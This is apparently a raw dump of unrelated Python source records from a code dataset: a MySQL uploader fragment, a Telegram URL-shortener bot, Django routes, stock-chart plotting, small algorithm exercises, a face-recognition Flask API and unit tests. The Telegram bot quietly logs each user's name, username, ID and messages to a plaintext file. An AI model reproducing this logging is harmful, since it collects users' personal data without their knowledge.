cursor.execute(query, [cid, time.strftime(\"%Y-%m-%d %H:%M:%S\", date), boot_time])\n\n socket.commit()\n socket.close()\n\n # file_upload(logfiles, date)\n\n tcom.pprint(0, \"Successfully sent info to db\")\n return cid\n except MySQLdb.Error as err:\n tcom.pprint(1, \"Can't send info to db : {}\".format(err))\n return -1\n\n\n# ============================================================================ #\n","sub_path":"tuxml_sendDB.py","file_name":"tuxml_sendDB.py","file_ext":"py","file_size_in_byte":6999,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"159241758","text":"'''\nName\t\t\t:\t\t\tURL Shortener Bot\nAuthor\t\t\t:\t\t\tAmRo\nURL\t\t\t:\t\t\tTelegram->@AM_RO045\t | Instagram->@AmRo045\t\nCreated at\t\t:\t\t\t07:51 ‎11/‎02/‎1396\n\n'''\n\nimport requests\nimport validators\nimport telegram\nfrom datetime import datetime\nfrom telegram.ext import Updater\nfrom telegram.ext import CommandHandler\nfrom telegram.ext import MessageHandler, Filters\n\n\nTOKEN\t\t=\t\t\"\" # Your Bot Token Here\nupdater \t= \t\tUpdater(token=TOKEN)\ndispatcher \t= \t\tupdater.dispatcher\n\ndef UrlValidator(url):\n\tif not validators.url(url):\n\t\treturn 0\n\t\n\tRequest = requests.get(url)\n\t\n\tif Request.status_code == 200:\n\t\treturn 1\n\telse:\n\t\treturn 2\n\ndef Shorter(url):\n\tRequest = requests.get(\"http://yeo.ir/api.php?url=\" + url)\n\treturn Request.text\t\n\ndef SaveUserInformation(bot, update):\n\n\tuserInfo = update.message.chat\n\tuserMessage = update.message.text\n\tuserId = userInfo['id']\n\tuserName = userInfo['username']\n\tCurrentDate = datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n\tUserFirstName = userInfo['first_name']\n\tUserLastName = userInfo['last_name']\n\t\n\t# Save user information\n\tUserInfoFileStream = open(\"UserInformationUrlShorter.chatinfo\", \"a\")\n\t\n\tif UserLastName == \"\" :\n\t\tUserLastName = \"__NOT FOUND__\"\n\tUserInfoFileStream.write(\"UserFirstName : %s\\nUserLastName : %s\\n\" % (UserFirstName, UserLastName))\n\tUserInfoFileStream.write(\"Username : %s\\nUserId : %s\\nCurrentDate : %s\\n\" % (userName, userId, CurrentDate))\n\tUserInfoFileStream.write(\"UserMessage : %s\\n\\n#-------------------#\\n\\n\" % (userMessage))\n\t\t\t\t\t\t\t\n\tUserInfoFileStream.close()\n\t\n\t\ndef getCm(bot, update):\n\t\n\ttry:\n\t\tuserMessage = update.message.text\n\t\t\n\t\tif UrlValidator(userMessage) == 0:\n\t\t\tbot.sendMessage(chat_id=update.message.chat_id, text=\"Not Valid Url\")\n\t\telif UrlValidator(userMessage) == 1:\n\t\t\tbot.sendMessage(chat_id=update.message.chat_id, text=Shorter(userMessage))\n\t\telse:\n\t\t\tbot.sendMessage(chat_id=update.message.chat_id, text=\"Url Not Worked.Please Send Health link.\")\n\texcept:\n\t\tbot.sendMessage(chat_id=update.message.chat_id, text=\"ConnectionErr: Url Not Worked.Please Send Health link.\")\n\t\n\tSaveUserInformation(bot, update)\n \ncm_handler = MessageHandler([Filters.text], getCm)\ndispatcher.add_handler(cm_handler)\t\t\n\n\ndef start(bot, update):\n\tMessage = \"\\nSend link to shortening\\n\"\n\tbot.sendMessage(chat_id=update.message.chat_id, text=Message)\n\tSaveUserInformation(bot, update)\n\t\ndef stop(bot, update):\n\tMessage = \"Bye\"\n\tbot.sendMessage(chat_id=update.message.chat_id, text=Message)\n\tSaveUserInformation(bot, update)\n\t\ndef help(bot, update):\n\tMessage = (\n\t\t\t \"\\nURL Shortener Bot\"\n\t\t\t \"\\n[USAGE]:\"\n\t\t\t \"\\nSend me a link e.g.(https://www.instagram.com/amro045/)\\n\"\n\t\t\t )\n\tbot.sendMessage(chat_id=update.message.chat_id, text=Message)\n\tSaveUserInformation(bot, update)\n\t\n\t\nstart_handler = CommandHandler('start', start)\ndispatcher.add_handler(start_handler)\n\nstart_handler = CommandHandler('stop', stop)\ndispatcher.add_handler(start_handler)\n\nstart_handler = CommandHandler('help', help)\ndispatcher.add_handler(start_handler)\n\t\nupdater.start_polling()\nupdater.idle()\nupdater.stop()\n","sub_path":"USB.py","file_name":"USB.py","file_ext":"py","file_size_in_byte":3059,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"309493571","text":"from django.conf.urls import url\nfrom django.contrib import admin\n\nfrom .views import (\n ApplyLeaveProjectListView,\n ApplyLeaveUserListView,\n ApplyLeaveDateListView,\n ApplyLeaveUserCreateView,\n ApplyLeaveUserDeleteView,\n)\napp_name = 'applyleave'\n\nurlpatterns = [\n url(r'^$', ApplyLeaveProjectListView.as_view(), name='projectleave'),\n url(r'^user/(?P[\\w]+)/$', ApplyLeaveUserListView.as_view(), name='userleave'),\n url(r'^user/(?P[\\w]+)/date/(?P[\\w-]+)$', ApplyLeaveDateListView.as_view(), name='dateleave'),\n url(r'^create/', ApplyLeaveUserCreateView.as_view(), name='createleave'),\n url(r'^delete/(?P[\\d]+)/$', ApplyLeaveUserDeleteView.as_view(), name='deleteleave'),\n]","sub_path":"leave/api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":723,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"416647781","text":"#!/usr/bin/python\n# -*- coding: utf8 -*-\n# cp936\n\n#===============================================================================\n# 作者:fasiondog\n# 历史:1)20100224, Added by fasiondog\n#===============================================================================\n\n\"\"\"\n绘制亚历山大.艾尔德交易系统图形\n参见:《走进我的交易室》(2007年 地震出版社) Alexander Elder\n\"\"\"\nfrom pylab import plot\nfrom numpy import mean\n\nfrom hikyuu import QueryByIndex, constant\nfrom hikyuu.indicator import Indicator, CLOSE, EMA, MACD, VIGOR, SAFTYLOSS\nfrom hikyuu.interactive.drawplot import (create_three_axes_figure, \n ax_draw_macd2, \n adjust_axes_show,\n ax_set_locator_formatter)\n\ndef _find_ema_coefficient(closes, emas, number=66, percent=0.95):\n \"\"\"计算EMA通道系数。\n 在《走进我的交易室》中,艾尔德介绍的价格通道为:\n 通道上轨 = EMA + EMA*通道系数\n 通道下轨 = EMA - EMA*通道系数\n 其中一条绘制得恰到好处的通道应能将绝大多数价格包含在内,一般调节通道系数使其能够包含95%的价格\n 参数:closes:收盘价序列\n emas:收盘价对应的EMA序列\n number: 以最近多少天的数据来计算,即取最后N天的数据作为计算标准\n percent:通道包含多少的价格,如0.95表示通道将包含95%的价格\n \"\"\"\n assert len(closes)==len(emas), \"数据长度不等\"\n assert number>=1, \"Number必须大于0\"\n \n tmp_closes = closes[-number:]\n tmp_emas = emas[-number:]\n dev = [abs(tmp_closes[i]-tmp_emas[i]) for i in range(len(tmp_closes))]\n sortdev = sorted(dev)\n x = int(number*percent)\n x = x if len(dev)-1>x else len(dev)-1\n ix = dev.index(sortdev[x])\n return float(dev[ix])/tmp_emas[ix] if tmp_emas[ix] != 0.0 else 0.0\n\ndef _draw_ema_pipe(axes, kdata, ema, n=22, w=0.10):\n emas = [i for i in ema]\n p = _find_ema_coefficient(list(CLOSE(kdata)), emas, number=66, percent=0.95) if w=='auto' else w\n emas_high = [i+i*p for i in emas]\n emas_low = [i-i*p for i in emas]\n emas_len = len(emas)\n \n axes.plot(emas, '-b', label='%s(%s) %.2f'%(ema.name, n, emas[-1]))\n axes.plot(emas_high, ':b', label='U%s(%.2f%%) %.2f'%(ema.name, p*100, emas_high[-1]))\n axes.plot(emas_low, ':b', label='L%s(%.2f%%) %.2f'%(ema.name, p*100, emas_low[-1]))\n fy1 = [ i for i in emas_low]\n fy2 = [ i for i in emas_high]\n axes.fill_between(range(emas_len),fy1,fy2,alpha=0.2, color='y' )\n\ndef draw(stock, query=QueryByIndex(-130), ma_n=22, ma_w='auto', vigor_n=13):\n kdata = stock.getKData(query)\n close = CLOSE(kdata)\n ema = EMA(close, ma_n)\n sf = SAFTYLOSS(close, 10, 3, 2.0)\n vigor = VIGOR(kdata, vigor_n)\n\n ax1, ax2, ax3 = create_three_axes_figure()\n kdata.plot(axes=ax1)\n _draw_ema_pipe(ax1,kdata, ema, n=ma_n, w=ma_w)\n sf.plot(axes=ax1, color='y', legend_on=True)\n #ax1.legend(loc='upper left')\n \n ax_draw_macd2(ax2, ema, kdata)\n \n vigor.plot(axes=ax3, marker='.', color='r', zero_on=True, \n legend_on=False, text_on=True)\n u = [i for i in vigor if i > 0 and i != constant.null_price]\n l = [i for i in vigor if i < 0]\n umean = mean(u)\n umax = max(u)\n lmean = mean(l)\n lmin = min(l)\n up = int(umax / umean)\n lp = int(lmin / lmean)\n #ax3.hlines(umean,0,len(kdata),color='r',linestyle='--') \n #ax3.hlines(lmean,0,len(kdata),color='r',linestyle='--')\n for i in range(up):\n ax3.hlines(umean * (i + 1),0,len(kdata),color='r',linestyle='--')\n \n for i in range(lp):\n ax3.hlines(lmean * (i + 1),0,len(kdata),color='g',linestyle='--') \n \n ax1.set_xlim((0, len(kdata)))\n ax_set_locator_formatter(ax1, kdata.getDatetimeList(), kdata.getQuery().kType)\n adjust_axes_show([ax1, ax2, ax3])\n \n","sub_path":"tools/hikyuu/interactive/elder.py","file_name":"elder.py","file_ext":"py","file_size_in_byte":3984,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"641964781","text":"def isCryptSolutionA(crypt,solution):\n cr = [\"\".join([dict(solution)[c] for c in x]) for x in crypt]\n #return int(cr[0]) + int(cr[1]) == int(cr[2]) and sum([1 for c in cr if len(str((int(c)))) == len(c)]) == 3\n return int(cr[0]) + int(cr[1]) == int(cr[2]) and sum([1 for c in cr if not c.startswith(\"0\")]) == 3\n\n\ndef isCryptSolutionB(crypt, S):\n s = {}\n for v in S:\n s[v[0]]=int(v[1])\n def extract_num(word, solution):\n if solution[word[0]] == 0 and len(word)>1:\n return None\n return sum([v * 10 ** (len(word)-p-1) for p, v in enumerate([solution[c] for c in word])])\n result = [extract_num(c, s) for c in crypt]\n return False if None in result else result[0] + result[1] == result[2]\n\n\ncrypt1 = [\"SEND\", \"MORE\", \"MONEY\"]\nsolution1 = [['O', '0'],\n ['M', '1'],\n ['Y', '2'],\n ['E', '5'],\n ['N', '6'],\n ['D', '7'],\n ['R', '8'],\n ['S', '9']]\n\ncrypt2 = [\"TEN\", \"TWO\", \"ONE\"]\nsolution2 = [['O', '1'],\n ['T', '0'],\n ['W', '9'],\n ['E', '5'],\n ['N', '4']]\n\nassert isCryptSolutionA(crypt1, solution1)\nassert not isCryptSolutionA(crypt2, solution2)\n\nassert isCryptSolutionB(crypt1, solution1)\nassert not isCryptSolutionB(crypt2, solution2)\n","sub_path":"src/cgml/codefights/arrays/is_crypt_solution.py","file_name":"is_crypt_solution.py","file_ext":"py","file_size_in_byte":1306,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"649215623","text":"import json\n\n# the precipitation.json file is a list of dictionaries\nwith open('precipitation.json', encoding = 'utf8') as file:\n rainfall_info = json.load(file)\n\n# rainfall_info is now the list of dictionaries instead of the json file\n# we want to sort through the list to idenitfy only station US1WAKG0038\n# my challenge is to find a way to read the station number from within\n\nseattle_station_code = 'GHCND:US1WAKG0038'\n\nmonth_data = {}\n\nfor generic_raindata in rainfall_info: # for each rainfall count \n if (generic_raindata['station']) == seattle_station_code: # if from Seattle\n month = generic_raindata['date'][5:7]\n # print(month)\n rainfall = generic_raindata['value']\n # print(rainfall)\n if month in month_data.keys():\n month_data[month] += rainfall\n else:\n month_data[month] = rainfall\n\nmonths_rainfall_list = list(month_data.values())\n\nwith open('seattlerainfall.json', 'w') as file:\n json.dump(months_rainfall_list, file)\n\n# to find percent of rain per month of the year we will add the precipitation\n# the sum of the variable 'rainfall' will be the annual rainfall in Seattle\nannual_rainfall = sum(months_rainfall_list)\nprint(annual_rainfall)\n\npercent_rain_dictionary = {}\nfor month in month_data:\n percent_month = (f'{round((month_data[month]/annual_rainfall)*100, 2)}%')\n percent_rain_dictionary[month] = percent_month\nprint(percent_rain_dictionary)\n","sub_path":"Python_assignment_14jan2020.py","file_name":"Python_assignment_14jan2020.py","file_ext":"py","file_size_in_byte":1446,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"239163059","text":"\"\"\"\npygame-menu\nhttps://github.com/ppizarror/pygame-menu\n\nLEFT ARROW CLASS\nSelector with a left arrow on the item.\n\nLicense:\n-------------------------------------------------------------------------------\nThe MIT License (MIT)\nCopyright 2017-2021 Pablo Pizarro R. @ppizarror\n\nPermission is hereby granted, free of charge, to any person obtaining a\ncopy of this software and associated documentation files (the \"Software\"),\nto deal in the Software without restriction, including without limitation\nthe rights to use, copy, modify, merge, publish, distribute, sublicense,\nand/or sell copies of the Software, and to permit persons to whom the Software\nis furnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,\nWHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\nCONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n-------------------------------------------------------------------------------\n\"\"\"\n\n__all__ = ['LeftArrowSelection']\n\nimport pygame\nimport pygame_menu\n\nfrom pygame_menu.widgets.selection.arrow_selection import ArrowSelection\n\nfrom pygame_menu._types import Tuple2IntType, NumberType, NumberInstance\n\n\nclass LeftArrowSelection(ArrowSelection):\n \"\"\"\n Widget selection left arrow class.\n Creates an arrow to the left of the selected Menu item.\n\n :param arrow_size: Size of arrow on x-axis and y-axis (width, height) in px\n :param arrow_right_margin: Distance from the arrow to the widget (px)\n :param arrow_vertical_offset: Vertical offset of the arrow (px)\n :param blink_ms: Milliseconds between each blink; if ``0`` blinking is disabled\n \"\"\"\n _arrow_right_margin: int\n\n def __init__(\n self,\n arrow_size: Tuple2IntType = (10, 15),\n arrow_right_margin: int = 5,\n arrow_vertical_offset: int = 0,\n blink_ms: NumberType = 0\n ) -> None:\n assert isinstance(arrow_right_margin, NumberInstance)\n assert arrow_right_margin >= 0, 'margin cannot be negative'\n\n super(LeftArrowSelection, self).__init__(\n margin_left=arrow_size[0] + arrow_right_margin,\n margin_right=0,\n margin_top=0,\n margin_bottom=0,\n arrow_vertical_offset=arrow_vertical_offset,\n blink_ms=blink_ms\n )\n\n self._arrow_right_margin = arrow_right_margin\n\n # noinspection PyMissingOrEmptyDocstring\n def draw(self, surface: 'pygame.Surface', widget: 'pygame_menu.widgets.Widget') -> 'LeftArrowSelection':\n # A\n # \\B widget\n # C /\n # <------>\n # margin\n rect = widget.get_rect()\n a = (rect.topleft[0] - self._arrow_size[0] - self._arrow_right_margin,\n int(rect.midleft[1] - self._arrow_size[1] / 2 + self._arrow_vertical_offset))\n b = (rect.midleft[0] - self._arrow_right_margin,\n rect.midleft[1] + self._arrow_vertical_offset)\n c = (rect.bottomleft[0] - self._arrow_size[0] - self._arrow_right_margin,\n int(rect.midleft[1] + self._arrow_size[1] / 2 + self._arrow_vertical_offset))\n super(LeftArrowSelection, self)._draw_arrow(surface, widget, a, b, c)\n return self\n","sub_path":"pygame_menu/widgets/selection/left_arrow.py","file_name":"left_arrow.py","file_ext":"py","file_size_in_byte":3640,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"375848177","text":"import cv2\nimport pickle\nimport face_recognition\nimport numpy as np\nfrom flask import Flask,jsonify\nfrom flask_restful import Api,Resource\nfrom PIL import Image, ImageDraw\nimport os\nimport os.path\nimport time\nmodel_list = []\n\ndef getFileName(model_dir):\n for class_dir in os.listdir(model_dir):\n model_list.append(class_dir)\n print(model_list)\n\n\n\n\ndef predict(X_frame, knn_clf=None, model_path=None, distance_threshold=0.4):\n if knn_clf is None and model_path is None:\n raise Exception(\"Must supply knn classifier either thourgh knn_clf or model_path\")\n\n # Load a trained KNN model (if one was passed in)\n if knn_clf is None:\n with open(model_path, 'rb') as f:\n knn_clf = pickle.load(f)\n\n X_face_locations = face_recognition.face_locations(X_frame)\n\n # If no faces are found in the image, return an empty result.\n if len(X_face_locations) == 0:\n return []\n\n # Find encodings for faces in the test image\n faces_encodings = face_recognition.face_encodings(X_frame, known_face_locations=X_face_locations)\n\n # Use the KNN model to find the best matches for the test face\n closest_distances = knn_clf.kneighbors(faces_encodings, n_neighbors=1)\n are_matches = [closest_distances[0][i][0] <= distance_threshold for i in range(len(X_face_locations))]\n \n # Predict classes and remove classifications that aren't within the threshold\n return [(pred, loc) if rec else (\"unknown\", loc) for pred, loc, rec in zip(knn_clf.predict(faces_encodings), X_face_locations, are_matches)]\n\n\n\n\napp=Flask(__name__)\napi=Api(app)\nclass Predict(Resource):\n\n def get(self,url):\n start=time.time()\n count=0\n fail=0\n a=len(os.listdir(\"models\"))\n print(url)\n if(url==\"0\"):\n urll=int(url)\n else:\n urll = \"rtsp://\"+url+\"/stream\"\n getFileName(\"models\")\n process_this_frame = 0\n cap = cv2.VideoCapture(urll)\n while 1 > 0:\n \n ret, frame = cap.read()\n if ret:\n # Different resizing options can be chosen based on desired program runtime.\n # Image resizing for more stable streaming\n\n process_this_frame = process_this_frame + 1\n if process_this_frame % 1 == 0:\n predictions = predict(frame, model_path=\"models/\"+model_list[count])\n try:\n print(predictions[0][0])\n if predictions[0][0] == \"unknown\" and fail=a:\n return jsonify(\"unknown\")\n except(IndexError):\n count = 0\n print(\"No face\")\n fail=0\n\n except:\n print(\"Error\")\n pass\n end=time.time()\n print(str(end-start))\n \napi.add_resource(Predict,\"/predict/\")\n\nif __name__ == \"__main__\":\n app.run(port=7777,debug=True)\n \n\n\n\n\n","sub_path":"face_recognition/api_for_open_door/pred.py","file_name":"pred.py","file_ext":"py","file_size_in_byte":3425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"497622073","text":"from unittest.mock import MagicMock\n\nimport pytest\n\nfrom scrapy.exceptions import DropItem\n\nfrom scraper.pipelines import DuplicateItemsPipeline\nfrom scraper.cache import SpiderCache, Sha1KeyHasher, PickleCacheLoader\n\n\n@pytest.fixture\ndef loader(tmp_path):\n filename = tmp_path / 'spider_cache.test'\n return PickleCacheLoader(filename)\n\n\nclass TestProcessItem:\n def test_new_item_should_be_cached(self, loader):\n cache = SpiderCache(Sha1KeyHasher())\n pipeline = DuplicateItemsPipeline(cache, loader)\n\n item = {'spider': {'name': 'foo'}, 'name': 'bar'}\n pipeline.process_item(item, spider=None)\n\n assert cache.exists('foo', 'bar')\n\n def test_item_should_be_returned_if_cached(self, loader):\n cache = SpiderCache(Sha1KeyHasher())\n pipeline = DuplicateItemsPipeline(cache, loader)\n\n item = {'spider': {'name': 'foo'}, 'name': 'bar'}\n assert item == pipeline.process_item(item, spider=None)\n\n def test_cached_item_should_throw(self, loader):\n cache = SpiderCache(Sha1KeyHasher())\n item = {'spider': {'name': 'foo'}, 'name': 'bar'}\n cache.add(item['spider']['name'], item['name'])\n\n pipeline = DuplicateItemsPipeline(cache, loader)\n\n with pytest.raises(DropItem):\n pipeline.process_item(item, spider=None)\n\n\n@pytest.fixture\ndef fake_crawler(tmp_path):\n filename = tmp_path / 'spider_cache.test'\n\n class FakeCrawler:\n def __init__(self):\n self.settings = {'CACHE_ITEMS_FILENAME': filename}\n\n return FakeCrawler()\n\n\nclass TestFromCrawlerFactory:\n def test_should_return_a_pipeline_instance(self, fake_crawler):\n pipeline = DuplicateItemsPipeline.from_crawler(fake_crawler)\n assert isinstance(pipeline, DuplicateItemsPipeline)\n\n\ndef test_close_spider_cache_should_be_save(fake_crawler):\n pipeline = DuplicateItemsPipeline.from_crawler(fake_crawler)\n loader = pipeline.loader\n\n save_mock = MagicMock()\n loader.save = save_mock\n\n pipeline.close_spider(spider=None)\n\n assert save_mock.called\n","sub_path":"tests/unit/scraper/pipelines/duplicate_items_pipeline_test.py","file_name":"duplicate_items_pipeline_test.py","file_ext":"py","file_size_in_byte":2067,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"118466336","text":"'''\nGiven a positive integer n, find the least number of perfect square numbers \n(for example, 1, 4, 9, 16, ...) which sum to n.\n\nExample 1:\n\nInput: n = 12\nOutput: 3 \nExplanation: 12 = 4 + 4 + 4.\nExample 2:\n\nInput: n = 13\nOutput: 2\nExplanation: 13 = 4 + 9.\n'''\nfrom collections import deque\n\ndef num_squares(n):\n squares = []\n i = 1\n while i * i <= n:\n squares.append(i * i)\n i += 1\n queue = deque([(0, 0)])\n visited = set()\n while queue:\n i, step = queue.popleft()\n step += 1\n for square in squares:\n k = i + square\n if k > n: break\n if k == n: return step\n if k not in visited:\n visited.add(k)\n queue.append((k, step))\n \n return 0\n\ndef num_squares_v2(n):\n if n < 2: return n\n squares = []\n i = 1\n while i * i < n:\n squares.append(i * i)\n i += 1\n que, level = deque([n]), 0\n while que:\n level += 1\n node_count = len(que)\n for _ in range(node_count):\n x = que.popleft()\n for y in squares:\n if x == y: return level\n if x < y: break\n que.append(x - y)\n\n return level \n\n\ndef numSquares(n):\n choices = [x ** 2 for x in range(1, int(math.sqrt(n)) + 1)]\n memo = {}\n\n def dp(remain):\n if remain <= 0: return 0\n if remain in memo: return memo[remain]\n\n val = float('inf')\n for value in choices:\n if value <= remain:\n val = min(val, dp(remain - value))\n else:\n break\n\n val += 1\n memo[remain] = val \n return memo[remain] \n\n return dp(n)","sub_path":"algorithms/dp/perfect_squares.py","file_name":"perfect_squares.py","file_ext":"py","file_size_in_byte":1695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"394572161","text":"import unittest\n\ndef HiCalendar(myList):\n # sort out on first index\n myListSorted = sorted(myList, key=lambda x: x[0])\n\n print(myListSorted)\n\n lengthofList = len(myListSorted)\n\n # create a new list\n myNewList = []\n skipIndex = -1\n\n for x in range(0, lengthofList-1):\n if x == skipIndex:\n continue\n\n CurrCalItem = myListSorted[x]\n NextCalItem = myListSorted[x+1]\n\n print('Index(' + str(x) + \") current item = \" + str(CurrCalItem))\n\n # if current calendar items 'end' time extends beyond next calendar item's 'start' time\n if CurrCalItem[1] >= NextCalItem[0]:\n # meeting within meeting: if current calendar items 'end' time extends even beyond next calendar item's 'end' time\n if CurrCalItem[1] > NextCalItem[1]:\n newEndTime = CurrCalItem[1]\n else:\n newEndTime = NextCalItem[1]\n myTuple = (CurrCalItem[0], newEndTime)\n myNewList.append(myTuple)\n skipIndex = x+1\n else:\n myNewList.append(CurrCalItem)\n #myNewList.append(NextCalItem)\n\n\n return(myNewList)\n\n#myList = [(0,1), (3,5), (4,8), (10,12), (9,10)]\n#HiCalendar(myList)\n\n# Tests\n\nclass Test(unittest.TestCase):\n\n def test_meetings_overlap(self):\n actual = HiCalendar([(1, 3), (2, 4)])\n expected = [(1, 4)]\n self.assertEqual(actual, expected)\n def test_meetings_touch(self):\n actual = HiCalendar([(5, 6), (6, 8)])\n expected = [(5, 8)]\n self.assertEqual(actual, expected)\n\n\n def test_meeting_contains_other_meeting(self):\n actual = HiCalendar([(1, 8), (2, 5)])\n expected = [(1, 8)]\n self.assertEqual(actual, expected)\n\n\n def test_meetings_stay_separate(self):\n actual = HiCalendar([(1, 3), (4, 8)])\n expected = [(1, 3), (4, 8)]\n self.assertEqual(actual, expected)\n\n\"\"\"\n def test_multiple_merged_meetings(self):\n actual = HiCalendar([(1, 4), (2, 5), (5, 8)])\n expected = [(1, 8)]\n self.assertEqual(actual, expected)\n\n def test_meetings_not_sorted(self):\n actual = HiCalendar([(5, 8), (1, 4), (6, 8)])\n expected = [(1, 4), (5, 8)]\n self.assertEqual(actual, expected)\n\n def test_one_long_meeting_contains_smaller_meetings(self):\n actual = HiCalendar([(1, 10), (2, 5), (6, 8), (9, 10), (10, 12)])\n expected = [(1, 12)]\n self.assertEqual(actual, expected)\n\n def test_sample_input(self):\n actual = HiCalendar([(0, 1), (3, 5), (4, 8), (10, 12), (9, 10)])\n expected = [(0, 1), (3, 8), (9, 12)]\n self.assertEqual(actual, expected)\n\n\"\"\"\n\n\nunittest.main(verbosity=1)\n","sub_path":"ic_HiCalendar.py","file_name":"ic_HiCalendar.py","file_ext":"py","file_size_in_byte":2766,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"527508624","text":"\"\"\"\ninput_text= 'aaaaaaaabbbbbbcc'\na8 b6 c2 şeklinde harf sayılarını çıktı versin\n\"\"\"\ninput_text= 'aaaaaaaabbbbbbcc'\ntext_list=list(input_text)\nlenght=len(text_list)\n\n#harflerin neler olduğunu bilmiyorsam\nkarakter_sayisi=1\ni=0\nwhile i other\n self.mocked_authLevel_eqMock = lambda me, other: me.return_value == other\n\n # We then set the auth_level mock to return the __lt__ Mock\n self.mocked_authLevel.__lt__ = self.mocked_authLevel_ltMock\n # We then set the auth_level mock to return the __gt__ Mock\n self.mocked_authLevel.__gt__ = self.mocked_authLevel_ltMock\n # We then set the auth_level mock to return the __eq__ Mock\n self.mocked_authLevel.__eq__ = self.mocked_authLevel_ltMock\n\n # Set the ra_id and hall_id to values that can be used throughout\n self.user_ra_id = 1\n self.user_hall_id = 1\n self.associatedResHalls = [\n {\n \"id\": self.user_hall_id,\n \"auth_level\": self.mocked_authLevel,\n \"name\": \"Test Hall\"\n }\n ]\n\n # Assemble all of the desired values into an Authenticated User Object\n self.helper_getAuth = AuthenticatedUser(\n \"test@email.com\",\n self.user_ra_id,\n \"Test\",\n \"User\",\n self.associatedResHalls\n )\n\n # Create the patcher for the getAuth() method\n self.patcher_getAuth = patch(\"schedule.schedule.getAuth\", autospec=True)\n\n # Start the patcher - mock returned\n self.mocked_getAuth = self.patcher_getAuth.start()\n\n # Configure the mocked_getAuth to return the helper_getAuth dictionary\n self.mocked_getAuth.return_value = self.helper_getAuth\n\n # -- Create a patcher for the appGlobals file --\n self.patcher_appGlobals = patch(\"schedule.schedule.ag\", autospec=True)\n\n # Start the patcher - mock returned\n self.mocked_appGlobals = self.patcher_appGlobals.start()\n\n # Configure the mocked appGlobals as desired\n self.mocked_appGlobals.baseOpts = {\"HOST_URL\": \"https://localhost:5000\"}\n self.mocked_appGlobals.conn = MagicMock()\n self.mocked_appGlobals.UPLOAD_FOLDER = \"./static\"\n self.mocked_appGlobals.ALLOWED_EXTENSIONS = {\"txt\", \"csv\"}\n\n # -- Create a patchers for the logging --\n self.patcher_loggingDEBUG = patch(\"logging.debug\", autospec=True)\n self.patcher_loggingINFO = patch(\"logging.info\", autospec=True)\n self.patcher_loggingWARNING = patch(\"logging.warning\", autospec=True)\n self.patcher_loggingCRITICAL = patch(\"logging.critical\", autospec=True)\n self.patcher_loggingERROR = patch(\"logging.error\", autospec=True)\n\n # Start the patcher - mock returned\n self.mocked_loggingDEBUG = self.patcher_loggingDEBUG.start()\n self.mocked_loggingINFO = self.patcher_loggingINFO.start()\n self.mocked_loggingWARNING = self.patcher_loggingWARNING.start()\n self.mocked_loggingCRITICAL = self.patcher_loggingCRITICAL.start()\n self.mocked_loggingERROR = self.patcher_loggingERROR.start()\n\n def tearDown(self):\n # Stop all of the patchers\n self.patcher_getAuth.stop()\n self.patcher_appGlobals.stop()\n self.patcher_osEnviron.stop()\n\n # Stop all of the logging patchers\n self.patcher_loggingDEBUG.stop()\n self.patcher_loggingINFO.stop()\n self.patcher_loggingWARNING.stop()\n self.patcher_loggingCRITICAL.stop()\n self.patcher_loggingERROR.stop()\n\n def resetAuthLevel(self):\n # This function serves to reset the auth_level of the session\n # to the default value which is 1.\n self.mocked_authLevel.return_value = 1\n\n def test_withoutAuthorizedUser_returnsNotAuthorizedResponse(self):\n # Test to ensure that when an unauthorized user attempts to reach this\n # API, a NOT AUTHORIZED response is returned. An authorized user is one\n # whose auth_level is at least 2 (AHD).\n\n # -- Arrange --\n\n # Reset all of the mocked objects that will be used in this test\n self.mocked_authLevel.reset_mock()\n self.mocked_appGlobals.conn.reset_mock()\n\n # Reset the auth_level to 1\n self.resetAuthLevel()\n\n # -- Act --\n\n # Make a request to the desired API endpoint\n resp = self.server.post(\"/schedule/api/deleteDuty\",\n base_url=self.mocked_appGlobals.baseOpts[\"HOST_URL\"])\n\n # -- Assert --\n\n # Assert that we received a json response\n self.assertTrue(resp.is_json)\n\n # Assert that the json is formatted as expected\n self.assertEqual(resp.json, stdRet(-1, \"NOT AUTHORIZED\"))\n\n # Assert that we received a 200 status code\n self.assertEqual(resp.status_code, 200)\n\n # Assert that no additional call to the DB was made\n self.mocked_appGlobals.conn.cursor().execute.assert_not_called()\n\n def test_withAuthorizedUser_withInvalidOldRA_returnsInvalidSelectionResponse(self):\n # Test to ensure that when an authorized user attempts to use this API, if\n # an invalid old RA is provided, this method will return an Invalid RA\n # Selection response.\n\n # -- Arrange --\n\n # Reset all of the mocked objects that will be used in this test\n self.mocked_authLevel.reset_mock()\n self.mocked_appGlobals.conn.reset_mock()\n\n # Set the auth_level of this session to 2\n self.mocked_authLevel.return_value = 2\n\n # Generate the various objects that will be used in this test\n desiredDateStr = \"2021-01-26\"\n desiredRAName = \"Test User\"\n\n expectedfName, expectedlName = 